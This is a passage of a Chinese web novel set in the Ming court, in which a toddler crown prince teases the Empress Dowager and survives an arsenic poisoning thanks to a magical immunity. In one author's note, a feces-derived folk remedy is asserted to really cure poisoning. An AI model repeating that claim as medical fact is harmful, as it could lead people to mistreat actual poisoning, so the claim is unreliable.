“天气不好。”差役甲很客观的回答说。“我们从扬州出发,一路南下就遇到了好几场大雨。” 大雨除了容易引发洪水外,还容易造成泥石流。差役甲他们没有遇到泥石流,但道路难走,泄留在路上驿站的时候,很多人都生病了,然后就一命呜呼了。 “别心疼他们,他们都是通敌卖国贼的家眷。”差役丁这时候道。“不止私通鞑子,还和倭寇有联系。” 差役丁家世代捕鱼为生,除了他外都是地地道道的渔民,原本日子还算过得去,不用他接济就能过得不错。谁曾想呢,成化元年开始,倭寇就开始时不时,小规模的骚扰沿海一带。 他们村子首当其冲,被几乎来无影去无踪的倭寇祸害了很多回,人员伤亡少,但财产损失却让他们村的人烦得很。 “倭寇每次都能赶在官兵到来前撤退回海上,都是他们在通风报信。” “那该死。” “是该死。但不是缺少奴隶开荒嘛,圣上仁慈,将他们流放来安南郡,这只是第一批,很快就会迎来第二批、第三批流放人员。” 差役和官差们讨论的,都是事实。两淮地区的官场,几乎被肃空,除此之外盐商豪绅,也大多遭殃。 对此两淮地区的百姓,没有一个不欢歌载舞的。究其原因,还是大多被一起查抄的豪绅盐商,全都为富不仁。家产来历神秘外,还吝啬造福乡里。 如今两淮地区的盐商,就剩下胡家以及白家。前者胡家算是比较奉公守法,也做过修桥铺路等造福乡里的善事,后者白家,纯粹就只是积善之家,算王允中特意留下来,给两淮百姓看的。意为朝廷爱憎分明,恶者处置善者表扬。 这不,等一批又一批被判流放者发配至安南郡后,留在两淮地区等待吏部安排官员走马上任的高明御史,接到授意后送了两块当代大书法家写的积善之家的牌匾,分别给胡家和白家。 再之后,高明启程返京,重新入职御史台,当他的耿直御史常常与朱见深据理力争,渐渐的就混成了巡盐御史,专门负责巡视两淮地区盐课。 两淮地区盐课肃清,很快就轮到其他地方的盐课。总之成化四年,几乎大半的时间都用在了肃清盐课上。 当然成果也是十分喜人的,到成化五年,盐课收入直接翻了三倍,而不是一倍。 得知这个消息,朱见深欣喜之余免不了骂那群蠹国蛀虫。 “朕就说以往盐课一笔烂账,从上到下都在中饱私囊。果不其然一个个的盐官尸位素餐,朕真是恨不得将他们大卸八块,以泄心头大恨。” 万贞儿目光快速的扫过貌似有话讲的怀恩公公,“这些不是早就有预料嘛,怎么证实后反而更气了。” 朱见深:“那没办法,整个大明都是朕的,他们损公肥私,都是在挖朕的东西,都是硕鼠,朕杀了他们,更要骂他们。” “那就慢慢骂。” 万贞儿亲手倒了一杯水给朱见深。 “深郎有没有觉得天气越来越冷了。” “才刚开春,挺正常的。”朱见深没有深想,下意识就回答说。“去年这个时候,朕记得还下雪了,今年初春没有下雪,算很好了。” “但却更冷了。”万贞儿强调说。“昨儿鹤归起夜,还说风吹屁屁凉,不要穿开裆裤了。” 朱见深:“小屁孩儿,要求可真多。” 正拖着厚厚毛毯路过的朱佑棱:“父皇,难道你不是从小屁孩儿长大的。” “朕六岁就没穿开裆裤了。”那语气貌似还挺自豪。 朱佑棱:“???这是一件值得高兴的事?” “难道不是。” “咦,不想跟父皇你讲了。”朱佑棱将毛毯在美人榻上铺好,然后就自觉躺进去,还将自己圆滚滚,肥嘟嘟的身体盖好。 “六岁才没穿开裆裤。”朱佑棱嘀咕,开始诽谤说话。“说不得父皇六岁以后才没有尿床。” 朱见深犀利的眼神,顿时对准朱佑棱。 “鹤归,你怎么知道的?” “猜的。放心,绝对不是皇祖母跟我说的。”朱佑棱茶言茶语的来了一句,突然更加茶言茶语的感叹。 “皇祖母没有作妖后,好像都有点儿不习惯了呢!” 朱见深深以为然的点头,然后果断察觉不对。“等等,你真去慈安宫见过你皇祖母了?” “父皇不经常进,六叔又不好意思经常往后宫跑,可不就只有我这个她目前唯一的孙子去看她。” 别说,有时候欣赏周太后特别有节奏感的哭骂,心情貌似会变得很不错。 就是最近,估计去看热闹看得太过频繁,导致周太后都不在他面前表演有节奏感的哭骂了。 朱佑棱还挺失落的,准备今儿休息好了后,明儿再去慈安宫。 “娘亲。”朱佑棱突然奇想的说。“今年把御花园的花都拔了,咱们种上红薯吧!” 万贞儿:“???” 朱见深:“鹤归你提前做噩梦了?”不然咋说出如此离谱的话语来。 “烤红薯很好吃的。” “烤红薯好吃归好吃,但和拔了御花园的花种红薯有什么必然的关系?”万贞儿不理会朱佑棱的‘异想天’。 “鹤归想吃烤红薯,皇庄种就是了,怎么能拔了御花园的花卉种红薯?” 朱佑棱开始眨眼睛,“那不种红薯,种马铃薯种玉黍(玉米)。” 朱见深:“” 万贞儿:“马铃薯是何物?玉黍又是何物?” “沿海一带有。”怀恩公公突然开口,插言道。“听说是海外来的舶来物,产量不错,口感也很不错,只是目前并没有在沿海一带大面积种植,只有少数人家种植有。” 朱佑棱连连点头,还道。“娘亲,儿子想吃这个,让汪直公公去沿海一带,搜罗新奇的舶来作物,带回京种呗!”—— 作者有话说:更新o(* ̄︶ ̄*)o 第40章 第040章 后世很多高产作物,都是明…… 后世很多高产作物, 都是明朝中后期传入中原的。在这儿,红薯传入时间早很多,几乎算是明朝初期以及中期传入的。 至于玉米(玉黍)马铃薯辣椒番茄等,此时已经传入, 不过玉米马铃薯只在沿海一带种植, 辣椒和番茄则是作为观赏植物, 少量种植。 也是在这时候, 朱佑棱才想起来, 貌似好像五年的时候, 他就在御花园扯过番茄苗, 只不过那时候番茄苗只是发芽, 所以朱佑棱拔了就拔了, 根本就没有放在心上。 现在想想,妈惹,好后悔那时候的手贱! 朱佑棱深沉的叹了一口气,又道。“哎,娘亲, 烤红薯真的很好吃呢, 儿子想要尝尝。” “行。一会儿娘吩咐小厨房给你烤点红薯吃。”万贞儿这回倒没有拒绝朱佑棱,还说除了烤红薯外,小厨房的厨子还会做一些以红薯为主的小点心。 “要不要尝尝红薯糕?” “要!”朱佑棱脆生生的应道。“不止红薯糕, 红薯甜汤我也想尝尝。” “小红,听到殿下说的没有?”万贞儿吩咐道。“烤红薯、红薯糕以及红薯甜汤都安排上, 让殿下吃个够,免得异想天开,又想铲了御花园的花卉,改种红薯。” 小红笑着应下, 很快就去了小厨房安排。临近中午的时候,朱见深被紧急叫走,午膳并没有在安喜宫享用。 朱佑棱对此不以为然,和万贞儿美美的用了午膳后,朱佑棱便去午睡,一个时辰的午睡时间,醒来后点心备上,慢悠悠的带着伺候的宫人,往上书房的方向走。 从去年三岁生日宴后开始,朱佑棱就开始每天三点一线,上书房、安喜宫、乾清宫三处跑,上书房是为读书,安喜宫‘保障’一日三餐外加宵夜,乾清宫则是围观小亲爹和内阁大臣们口舌之战。一般胜负三七开,小亲爹胜三负七,内阁大臣们全程保持胜负看淡,任由小亲爹发挥的模式。 今日给朱佑棱上课的是李贤。比较喜欢照本宣科,朱佑棱一来,就先背诵了一篇诗经,然后让朱佑棱抄写他背诵的诗经,之后逐个认字。 连朗读的诗经什么意思,李贤也没有讲,问了还道:“小殿下,你现在年龄还小,重要的是认字写字,意思的话,等小殿下满了六岁,再了解不迟。” 朱佑棱:“可孤人小,写字软绵绵的,倒不如同样6岁后再学写字。” 李贤闻言笑着说。“小殿下如今年龄稚嫩,手腕无力,写字软绵绵的很正常。正因为写字软绵绵的不好看,才要多多练习,相信万岁爷也是这个意思,这才让老臣担任太子太傅,负责教授太子殿下读书写字。” 朱佑棱微微颔首,倒没有和李贤继续争辩,开始用胖爪子抓着狼毫笔,开始抄写诗经。 的确手腕无力,导致写出来的字迹软绵绵,好像毛毛虫。 朱佑棱慢慢的抄写,几乎一张纸写一个字。没办法,胖爪子太小,暂时控制不了用狼毫笔写太小的字。 一般一天上课三个时辰,换算成小时,便是六个小时。早上两个小时,下午四个小时,等下午的上课时间到,朱佑棱只觉得自己的胖爪子都不是自己的了。 “哎!现在还早。”朱佑棱抬头看了看天色。“小翠姑姑,孤想去慈安宫看皇祖母,趁着天色还早,咱们先去慈安宫吧,说不定还能看到意想不到的热闹呢!” 小翠:“” 想看望皇祖母不是重点,重点是意想不到的热闹吧! 小翠没法拒绝,只能安排撵车往慈安宫的方向走。 是的,朱佑棱出入都坐撵车,主要靠小胖腿的话,估计一天大半的时间,都得花费走路上,他的小胖腿还不得废。 很快,朱佑棱坐着撵车,抵达慈安宫。如朱佑棱猜测的那样,还真有热闹看。 成化三年,选秀入宫的淑女,有一人怀孕了。如没有意外的话,大概就是原本伯氏所出,夭折的朱佑极。 朱佑极长大三岁夭折,因此有大名还被追封为悼恭太子,而他呢,未满周岁夭折,大名还来不及,死后更是没有追封。 很难相信那么深爱万贞儿的朱见深能做出这样的事情来,或许是把夭折的孩子当成无法碰触的伤害,总之历史上万贞儿所生大皇子的离世,是万贞儿和朱见深之间感情出现裂痕的开始。 朱佑棱脑中瞬间闪过千头万绪,却是冲周太后甜甜的来了一句。“皇祖母你这儿真热闹,果然刚一下课,孤就往你这儿跑对了,不然孤怎么能看到这样一出大戏呢。” 周太后:“” 被查出有孕,还来不及报备内务府的白才人:“” 白才人低头垂目,貌似很腼腆。人站在那儿,存在感很低。和原本柏氏的嚣张完全不一样。 “给太子殿下请安。” 白才人微微屈膝,解释说。“妾身来给太后娘娘请安,突觉不舒服,太后娘娘仁慈,帮忙请了太医把脉,才知妾身这是怀孕了。” 白才人,不对,应该说命运是位妙人,历史生下朱佑极的是柏妃,而这里生下朱佑极的,则是白氏。 同音不同字,怎么又不算一种奇妙的缘分呢! 而朱佑极已经出现,成化六年(公元1470年)出生的朱佑樘生母,又会变成水,会不会是同样‘同音不同字’的姓氏。 朱佑棱想着,突然就想起后宫貌似有一位姓季的才人。如果不出意外的话,这位季才人,大概就是朱佑樘的生母。 啧,真有趣! 朱佑棱露出甜甜的笑容,冲着周太后甜甜的说。“皇祖母,你又有孙子了,你高不高兴呀!” “就确定是孙子,不是孙女?”周太后不阴不阳的回答一句,倒是问起朱佑棱今儿有没有见着朱见泽。 “???”朱佑棱瞪圆眼睛,不可置信的看着周太后。“皇祖母,你是不是睡落枕了,孙儿在上书房读书,从哪里能看到六皇叔?莫非皇祖母说这话的意思,是认识到了自己文化水平不够,是件很丢人的事,所以下定决心督促六皇叔好好读书?” 不等周太后回答,朱佑棱又道。“皇祖母不用多解释,孙儿都懂,但是孙儿觉得吧,六皇叔跟我一块儿读书的话,也太欺负人了。孙儿虽说才4岁,但不屑干这种欺负大人的勾当。” 最后,朱佑棱仿佛说服了自己,还深以为然的点头,表示自己赞同自己。 周太后:“” “果然跟你父皇一个样儿。”周太后深呼吸,努力平息怒火。“想让哀家就这样生气,呵,也太小看哀家了。” “皇祖母,你想太多了。”朱佑棱眨着眼睛真诚无比的说。“孙儿哪里小看了皇祖母,明明是高看嘛。” 周太后:“” 这回周太后的怒火再也压制不住,当即就指着大开的殿门。“滚,给哀家滚,哀家不想看到你这个不孝的东西。” “哎,皇祖母你除了说不孝,还能说什么呢!”朱佑棱根本就不把周太后的怒火放在眼里。 他现在算是看明白了,周太后吧,越气越健康。不像其他人,被儿孙这样气,多半会郁结于心。 可周太后倒好,从来都是吃嘛嘛香,身体棒棒哒。 朱佑棱敢保证今儿这一出过后,周太后必然多吃一碗米饭。 换句话说,朱佑棱的行为,怎么不算彩衣娱亲呢。因为他的缘故,周太后越活越健康。仔细想想,朱佑棱的心思还真的蛮大。 可惜这样的孝顺,周太后很想拒绝。然鹅根本就拒绝不了,周太后黑脸黑了好一会儿,朱佑棱依然死皮赖脸的待在慈安宫,根本不愿意滚回安喜宫,哪怕到了晚膳时间也不走。 白才人倒是早早的走了,主要还是怕周太后和朱佑棱斗法,牵扯他这条池鱼。 没曾想白才人的躲避行为,反倒救了她一命,或者说救了她肚子里刚刚怀上的孩子一命。 慈安宫晚膳那道砂锅山药粥,居然被人下了砒|霜。数量不多不少少,不能让人立刻被毒死,但绝对能让人中毒,并身体开始逐渐败坏。 估计是想害周太后,顺便解决掉朱佑棱这位小太子吧。这不和朱佑棱分食那盅砂锅粥的周太后刚结束晚膳不久,就直接口吐鲜血。 慈安宫的宫人吓得连连叫太医,而朱佑棱呢,啥事没有,还顺手端了一盘果脯在吃。 “这是吃多了造成胃穿孔?”不知自己有百毒不侵BUFF的朱佑棱开始凭空猜测。 各种离谱的猜测都猜了一个遍,唯独没有猜到是周太后之所以这样,是吃了加砒霜的砂锅山药粥。 主要朱佑棱同样也吃了,周太后有事,自己则什么事儿也没有,朱佑棱又怎么可能想到是砂锅山药粥的问题。 很快,太医院的院正匆匆到来,汪太医也跟着,看到朱佑棱后,顿时冷汗直流。 “小殿下怎么在这里,小翠姑娘呢?” “哦,吃晚膳的时候,孤让小翠姑姑回去了。”朱佑棱笑眯眯的说:“毕竟孤孝顺嘛,要陪皇祖母好好的吃饭,之后说不得还要宿在慈安宫,所以想着让小翠姑姑先回去。” “皇贵妃娘娘那里可否通知?”汪太医无奈的询问慈安宫慌乱的宫人。 “没有。”宫人哆哆嗦嗦的回答。 汪太医:“” “没有快去通知啊。”汪太医无奈的说。“万岁爷肯定在皇贵妃娘娘处,通知了皇贵妃娘娘就是通知了万岁爷,如今太后娘娘疑似中毒,于情于理都要请万岁爷过来守着。”—— 作者有话说:停电! ┭┮﹏┭┮ 我是用手机一个字一个字敲出来! 手机码字真的超慢! 简直了,为什么好好的要停电!《 》 40-50 第41章 第041章 慈安宫出了事,太子殿下没…… 慈安宫出了事, 太子殿下没在也就罢了,可太子殿下在,依着万皇贵妃疼爱太子殿下的劲头,只怕慈安宫的人, 都不够砍的。 汪太医心急火燎, 刚越俎代庖让人去安喜宫汇报, 就见小翠步伐匆匆来接朱佑棱。 原本小翠步伐很轻松, 越靠近慈安宫越听喧闹声心情越紧张, 等到了慈安宫, 小翠几乎快跑起来, 整个人气喘吁吁, 心慌得不得了。 “出了什么事?”小翠直接急匆匆的问汪太医, 呼气都没有调整平缓。 “太后娘娘中毒了,小太子殿下没事。” 听到周太后中毒,小翠心都挤在嗓子眼,可等听到朱佑棱屁事没有,还窝在角落看热闹, 疑惑怎么单就周太后中毒时, 不免心神放松。 “亏你们还是伺候太后娘娘的女官,遇事慌里慌张,哪有女官的气魄” “太子殿下还没开口吩咐, 我们” “呸!要不要听你在胡说八道什么,咱家小殿下才多大, 居然黑心肝的想要将事儿推到小殿下身上,且给老娘等着,等咱家皇贵妃娘娘来了,定要扒了你的皮。” 此言一出, 原本就脸色白的女官们,顿时脸色更加惨白,光想着推卸责任,怎么就没想起万贞儿的恐怖。 别看万贞儿如今心态平和,那是情郎、幼子都健健康康的。没有涉及到他们,可一旦涉及,八条命都不够死的。 顿时慈安宫重新变得忙碌起来,等朱见深、万贞儿得到消息,匆匆赶来的时候,胖乎乎的朱佑棱正窝在小翠的怀抱中,聚精会神的看着周太后一边呕血一边在咒骂。 这精神劲儿,完全不像中毒,倒像在排毒。 就连万贞儿的脚步,都不由迟疑了一下,何况是朱见深。 朱见深脸上闪过疑惑,甚至震惊。 “怎么回事?”朱见深询问道。“派人去请长公主,崇王殿下没有?” 周太后呕血,大家慌忙成一团儿,去请朱见深和万贞儿,都得汪太医提醒,哪里还顾得上请重庆公主和朱见泽过来。 不过话说回来,朱见泽也是住在紫禁城的,只不过与慈安宫稍微有点儿距离,倒是重庆公主的公主府距离紫禁城有一段距离,接到消息匆匆进宫的时候,已经半个时辰后。 重庆公主到来后,问了朱见深来时一样的问题。 还在排查到底是怎么中的毒。 主要周太后和朱佑棱一桌吃饭,吃的食物很多就重叠了。太医检查的时候,直接就把吃的相同食物排除了,先只检查周太后单独吃的。 晚膳一共上了六十八道菜。 除却罪魁祸首砂锅山药粥,还有炸芋泥红薯丸子,一盅燕窝粥周太后挺护食的,燕窝粥都她吃了,没剩一口,更没有给朱佑棱吃一口。 索性朱佑棱并不贪那一口吃的。这就造成了都把怀疑放在了那盅燕窝粥,并没有怀疑其实朱佑棱也中毒了。 只是百毒不侵BUFF起了作用,导致朱佑棱现在还是吃嘛嘛香,根本就不清楚自己一样中毒了。 还在一旁深以为然的点头。 “对,应该就是那蛊燕窝粥的问题。”朱佑棱发挥自己的聪明才智,振振有词的说。“看来吃独食不好。孤就只吃了点砂锅山药粥,那盅燕窝粥,孤根本就没有碰。” 最后,朱佑棱还深沉的感叹。 “幸好皇祖母护食,没想着分给孤吃,不然孤就跟着一块儿中毒了。” 说罢还一脸惶恐的投奔万贞儿的怀抱。 “娘亲,这太可怕了。” 万贞儿拍了拍朱佑棱的狗头,心有余悸。 “下回看你还乱跑乱吃东西不?” 朱佑棱点点头,赞同的道。“再也不来皇祖母这儿吃饭了,也太吓人了。” 万贞儿再次拍了拍朱佑棱的狗头,让他在一旁待着。 这个时候,母子情长是不行的。身为皇贵妃,万贞儿只能先顾着中毒的周太后。 当然,也有朱佑棱屁事儿没有的缘故,如果朱佑棱跟着有事,谁管那个连中毒都中气十足的老女人。 万贞儿按捺住抱着儿子飞奔逃离慈安宫的想法,转而开始协调几乎乱成一锅粥的现场。 真的挺乱的,太医要检查哪些残羹剩肴有毒,紧急过来的东厂人员,又要控制住慈安宫的人, 一时间哭闹,求饶声声起伏,还将周太后的大骂掩盖住了。 这么乱的场景,是很难看到的。但相信这里是慈安宫,万贞儿又理解了。 毕竟周太后本身就不是特别有能力的,管理一团糟,完全不奇怪。总归慈安宫也属于紫禁城,慈安宫管理一团糟,没有关系,只要不影响伺候周太后日常的衣食住行,就没必要多过问。哪怕万贞儿手中捏着凤印。 万贞儿先是连消带打,让慈安宫的宫人彻底‘冷静’下来,又在太医检查残羹剩肴的同时,询问今日的膳食哪些是去御膳房取的,哪些又是慈安宫小厨房做的。 最后就那么戏剧化的,也将‘罪魁祸首’指定为周太后单独享用的燕窝粥。 万贞儿:“御膳房送来的,中途可有人接手?” 被叫来的御膳房大厨们,简直快要吓死,忙回答说,是慈安宫的女官经手,就是那位曾与小翠、小红吵架,被小翠小红联手气跑的女官。 可怜的她,连辩解喊冤的机会都没有,直接被拖下去关起来大刑伺候。 不过也没有冤枉她,除了御膳送来的膳食是由她中途接手的不说,那含了砒霜的砂锅山药粥,也是她经手熬煮的。 先不说这毒,到底是不是她下的,一个监管不力的罪责就跑不了。 周太后‘哎呦哎呦’的呻|吟,看似很痛苦,实则的确挺痛苦的。但她即使已经痛得呻|吟了,依然没有放弃骂人。 不愧是小门小户出来的,骂人的段子堪称经典,连万贞儿都叹为观止,更别说朱见深这个儿子了。 此时朱见深已经将所有事情都交给万贞儿处理,他正在跟周景聊天。 周景身为重庆公主的驸马,面对一位帝王拉家常行为,还是挺有压力的。 不过很快重庆公主解救了他,不对,是重庆公主加入了谈话。 “本宫总觉得哪里不对。”重庆公主皱眉说道。“何人如此大胆,居然敢在母后的膳食下毒。今儿太子殿下又恰巧跑来慈安宫吃饭。” “皇姐是怀疑有人对鹤归动手?”朱见深神色凝重的想了想,随即果断摇头。 “朕倒不觉得是,鹤归不常来慈安宫,今儿来慈安宫也是临时起意。在者那碗被下了砒|霜的燕窝粥,是母后单独一人吃的。如果要下毒,不该下在砂锅山药粥里?母后和鹤归一起分食了那盅砂锅山药粥,母后有事,而鹤归好好的,就证明问题在于那碗燕窝粥。” 至于太医没有验出毒素,这一碗燕窝粥,周太后吃得干干净净,怎么验? 至于煮燕窝粥的钵没有毒素参与,就不能将燕窝粥从钵中舀起来后,再撒砒霜。 这时候烈性消毒水,不对,是祛毒汤药被送了过来。由于加了某种嗯,人体排出的精华,祛毒汤药散发的味道,就跟将茅坑煮沸散发出的气味一模一样。 周太后抗拒,闹着不喝。 “你不喝好不了。”万贞儿保持好心情的劝道。 “你为什么不喝?”周太后冷哼。 “我又没有中毒!”万贞儿捏着鼻子扇了扇风。“赶紧喝,要是凉了,药效就不好了。” 周太后:“哀家信你个鬼,你这老女人坏得很。” “再坏有你坏?”万贞儿冷哼,直接霸气的说。“不喝是吧!行,来人啊!” 万贞儿直接让宫人给周太后强行灌祛毒汤药。 “你们几个按住太后娘娘!” 周太后直接惊怒,“万氏,你敢!” “为了太后娘娘的身体,有什么敢不敢的。”万贞儿挥手,就由几名身强力壮的婆子上前,将周太后的四肢控制住。 周太后呜呼哀哉,拼命挣扎的样子,就像被人强行灌打胎药似的。 她所生的二儿一女看到这一幕,居然都超级有默契的转过头,任由万贞儿霸气十足的给周太后灌药。 “这是为了皇祖母好呢!”朱佑棱迈着小碎步,小跑到刚刚出现的朱见泽身边。 “只是味道难闻了一点,想来药效还是可以的!” 朱佑棱几乎一闻,就猜到了那碗祛毒汤药的主要成份。人中黄,啧啧啧,估计还是现取的人中黄。 朱见泽一脸的不敢置信和娇羞,显然人中黄是从他那儿取的。 “六皇叔啊。”朱佑棱深沉的说。“要不这几日你出宫住。不然孤怕皇祖母知道真相后,把你打死。” 朱见泽:“” 开始崩溃捂脸。 拜托! 周太后有两位好大儿,一位好大女,再不济还有朱佑棱这位小皇孙在啊,为什么就对他下这样的毒手。 被太医强行带去一旁扒衣,并且那啥的朱见深眼眶儿都红了—— 作者有话说:噗哈哈,我写这章写得好欢乐! 不过真的,那玩意儿真的能解毒!学名也好听呢![墨镜] 第42章 第042章 “六皇叔,淡定。”朱佑棱…… “六皇叔, 淡定。”朱佑棱肥肥的爪子拍打朱见泽的肩膀,让朱见泽想哭就哭吧! 好歹是太医扒的衣服,要是换做太监,啧就朱见泽白斩鸡的模样儿, 也算被占了便宜。 “其实, 主要新鲜制作的人中黄效果更好。”汪太医试图找补, 借以掩盖他们这群太医的恶趣味。 毕竟太医院库存了上了年头的人中黄。甘草末浸泡金汁晒干之后重复浸泡晒干, 如此循环几回后, 方可得到人中黄。常用于中毒急救, 天行热病(如瘟疫), 对疮疡也有奇效。 而汪太医他们为周太后炮制的祛毒汤药, 为了增加疗效, 干脆就让朱见泽牺牲一回,取新鲜的那啥和放了些年头的人中隔水先煮开,这才拿重新炮制了一次人中黄,搭配其他祛毒草药,煮成一碗。 味道的确难闻了一点儿, 但效果真的很不错。喝下去不久后的周太后, 已经只剩下干呕,最大的成功在于,呕吐的时候, 没有带血。 周太后其实中毒不深,就是呕血一幕太过吓人。不知道的, 还以为内脏受到了损伤,实际上周太后的内脏并不没有受到损伤,会呕血,大概是吃错了东西, 当然最大的原因,还是在于那砂锅山药粥。 砂锅山药粥有毒,是导致周太后中毒的罪魁祸首。然鹅朱佑棱同样吃了,他不知道自己身上有百毒不侵BUFF,这就造成了朱佑棱很其他人一样,一直认为是燕窝粥里被下了毒。 甚至朱佑棱还真心实意的感谢周太后的小家子气。燕窝粥没舍得跟他这个孙子分食,他才能够幸免于难。 “但凡皇祖母大方一点,或许孤就和皇祖母一样了。”想到被强行灌药祛毒的周太后,朱佑棱就心有余悸的拍拍胸口。 好险,真的太险了! “对呀!太子殿下真走运。”朱见泽恢复过来,没笑,但也没哭丧着脸。 “要是母后大方了一点点,将燕窝粥与太子殿下分食,那现在慈安宫说不得已经血流成河。” 就万贞儿的护崽属性,估计不会等找到谁谁谁谋害皇嗣的证据,直接将整个慈安宫除周太后外的人,都给杀了。主打一个,她认为的凶手就是凶手 “孤的娘亲没你说得那样残暴。”朱佑棱的胖爪子重重拍在朱见泽的肩膀上,结果不知是朱佑棱很有力量,还是朱见泽太过弱鸡,朱佑棱的胖爪子居然直接将朱见泽‘打’得脚下踉跄,差点跌倒。 朱见泽:“” 围观的重庆公主、周景夫妇:“” “六弟,你该增加锻炼了。”朱见深嘴巴抽了抽,又把关注的目光放在了万贞儿那边。 “呀呀呀,如来神掌?”朱佑棱开始翻看自己胖乎乎的手手,左看看右看看,最终确定,是朱见泽太弱鸡,不是他太胖。 朱佑棱随即就符合朱见深的话,“对啊,六皇叔你看看你,再看看孤,再再再看看大皇姑和父皇,对比他们,你长成这样,难道不该羞愧吗?” 朱见泽:“???” “我为什么要羞愧?”朱见泽懵逼,表示自己根本就没法理解朱佑棱话里的意思。 其实朱佑棱的话,也没别的意思。主要吧,从朱高炽开始,肥胖基因就开始在老朱家流传。 朱见深微胖身材,重庆公主也是微胖身材,估计和她已经是两孩子的母亲有关。轮到下一辈,目前算是独苗苗的朱佑棱胖乎乎,肉滚滚,有预感长大后又是微胖身材的继承人。 唯独朱见泽,和朱见深、重庆公主同母同父,却瘦得跟麻杆似的。当然大明战神的其他子嗣,也不见得胖。但是呢,毕竟不同母,周太后也是一位丰腴妇人,可偏偏朱见泽 “六皇叔,你仔细看看我们,再仔细看看你。”朱佑棱提醒得更加明显了。“你就没察觉什么不一样吗?” 朱见泽:“” 小心翼翼的打量朱佑棱,随即又小心翼翼的打量朱见深和重庆公主,半晌,朱见泽更加小心翼翼的摇头。 “哪里不一样?我觉得我和皇兄皇姐,还是有几分相似的。” 阿这! 没有说你长得不像同胞兄长和姐姐啊。 朱佑棱挠挠小脑袋,看向重庆公主。“皇姑姑,你来跟六皇叔说说呗。” “行。”重庆公主也算对幼弟的脑回路服了,和驸马对视一眼,然后驸马出手勾住朱见泽的脖子,把他往殿门口的方向带。 朱佑棱想去看热闹,又想看周太后的热闹,一时纠结,纠结了几分钟,朱佑棱就果断将主意打在了周太后那儿。 主要被强灌祛毒汤药的周太后,在连续干呕什么都吐不出来后,又重新的支棱起来。 “万氏,你”周太后颤抖的用手指着万贞儿,泪眼朦胧的哭诉。“你太恶毒你,你眼中还有没有尊卑?再不济哀家也是你婆婆,你居然那样对哀家。” “汤药是祛毒的。”万贞儿依然心情很好的解释。“太后娘娘你中了毒,难道不该和祛毒的汤药,将剩余毒素排出来?” “哀家难道不会自己喝?” “你倒是自己喝啊!”万贞儿无奈,一脸‘拿你真没办法’的说。“太后娘娘在那儿犹豫半天就是不肯喝,眼瞅着药快要凉了,臣妾怕药凉会降低药效,这才使出比较强硬的手段,让太后娘娘喝下祛毒的汤药。” “你那是比较强硬的手段?”周太后接着泪眼朦胧的控诉。“你那非明是十分强硬的手段。万氏,你的心肝儿真是黑透了。” “你就没别的话好骂?”万贞儿轻飘飘的说。“翻来覆去说臣妾心肝儿黑透了。臣妾承认自己的心肝儿不白,但远远打不到黑的程度,不信的话,太后娘娘不妨把你的心肝儿掏出来瞧瞧,绝对不是黑的。” 周太后:“” 说又说不过,骂也骂不过,甚至有时候比嚣张跋扈,好像都比不过。周太后超级憋屈,咬着唇瓣,眼眶儿更红了。 就是这副模样儿,可真惹人怜爱! 不然先帝爷怎么在敬重钱太后的同时,又偏宠周太后呢! 万贞儿笑笑,确定周太后真的没什么事后,就准备告辞。此时已经快接近9点左右。 周遭静悄悄的,除了说话外,就只余气喘吁吁声。 “哀家要是知道是谁谋害哀家,哀家非扒了她的皮。”周太后几乎咬牙切齿的道。 “人已经送去大牢,东厂的正在审问,想必很快就能得到答案。”万贞儿顿了顿,突然道。“对了,今儿好像那白才人来过。” “对啊!”周太后不假思索的说。“来了,还在哀家这儿查出身孕呢。” 说罢,不知道哪根筋儿不对,居然得意洋洋的冲万贞儿笑了笑。 “哀家又有孙子了,而你只有一个儿子。” 万贞儿:“” ——这老货,怎么越来越幼稚了! ——欺负起来,真没意思! 万贞儿默了默,真诚的冲周太后贺喜。“那真是恭喜太后娘娘,私库收藏又要少一份。” 周太后:“” 这回轮到周太后沉默了。前头就说过很多次,周太后这人小家子气。炖的燕窝粥,因为珍贵所以一人独享,而本身她的东西,因为皇孙的诞生又要分薄出去,无疑在周太后的心尖扎刀。 周太后一想到万贞儿说的,就觉得心痛难以呼吸。 “送个屁!”周太后连表面的优雅都不想维持了,直截了当的说。“哀家的东西,还轮不到分给区区才人所生的皇嗣。” 万贞儿噗呲一声笑了。“那白才人的份位,要不要提提?” “你是皇贵妃,还是哀家是皇贵妃?既然是副后,那提不提份位,自己考虑。别问哀家,问了哀家,哀家也不会告诉你。”说罢还傲娇的哼了哼。 万贞儿又无语了一瞬,片刻告诫。“看在以前的份上,妾身劝太后娘娘一句,以后啊,少吃点乱七八糟的东西,但凡你今儿也罢,多亏你独享了那碗燕窝粥,不然鹤归分食了,妾身岂非要痛煞。” 周太后:“” 周太后的脸顿时黑了下来,早知道会这样,她就什么都分给朱佑棱吃了。 目前的朱佑棱还不知道自己除了有帝妃这对金手指外,还有百毒不侵的BUFF,周太后什么都和朱佑棱分享,大概只会有一个结果。 那就是太医们验毒验来验去,在朱佑棱什么事儿都没有的情况下,只会被越带越偏。幕后黑手怎么下毒的,估计都得成为玄幻现象。 好在周太后的小家子气,让查案不至于那么离谱,虽说‘罪魁祸首砂锅山药粥’没暴露,但是吧,嗯 指认‘罪魁祸首’燕窝粥的情况下,还将幕后黑手查了出来。 这是一周后查出来的,暂时先不提。 就说这事儿吧,拐了几个弯,‘罪魁祸首’都找错了,结果还查出谁是下毒的幕后黑手,你们说说,神不神奇—— 作者有话说:更新o(* ̄︶ ̄*)o 第43章 第043章 神奇的朱佑棱,根本不知道…… 神奇的朱佑棱, 根本不知道自己金手指BUFF,将大家都溜了一个一遍,他只是遗憾,确定周太后无事后, 就被万贞儿提拉回了安喜宫。从此以后, 再也不许他跑到慈安宫那边吃饭。 朱佑棱:“” “儿子的运气很好的。”朱佑棱强调, “不然怎么同桌吃饭, 就单皇祖母吃了那盅加了料的燕窝粥呢!” “运气好又如何, 这世间意外死的不知凡凡, 你看看你皇祖母” “娘亲, 皇祖母是特例, 不能拿来做比较。” “别插嘴, 该怎么做,娘亲说你就做。”万贞儿伸手戳了戳朱佑棱的额头。 “不听娘亲话的宝宝,都不是好宝宝。” “哦,那我听话。” 作为妈宝男,怎么能不听老母亲的话呢, 并且老母亲还是三十七高龄才把他生下来, 他最听老母亲的话了。 不就是不能随随便便再去混饭吃嘛,没关系的,等过了这段风声后, 再去周太后那里 “可以去玩,不可以吃那里的东西。”万贞儿也知依着朱佑棱的性子, 要拘着他不要乱跑,短时间还可以,但时间长了就又会招猫逗狗,哪里都要招惹一翻。 和朱见深的性格很相似, 但又不是那么相似,至少朱见深的小时候,没有如此活泼。 “这段时间,好好在上书房读书。上书房的点心,除非小红或小翠亲自送来的,鹤归都不要入口。” 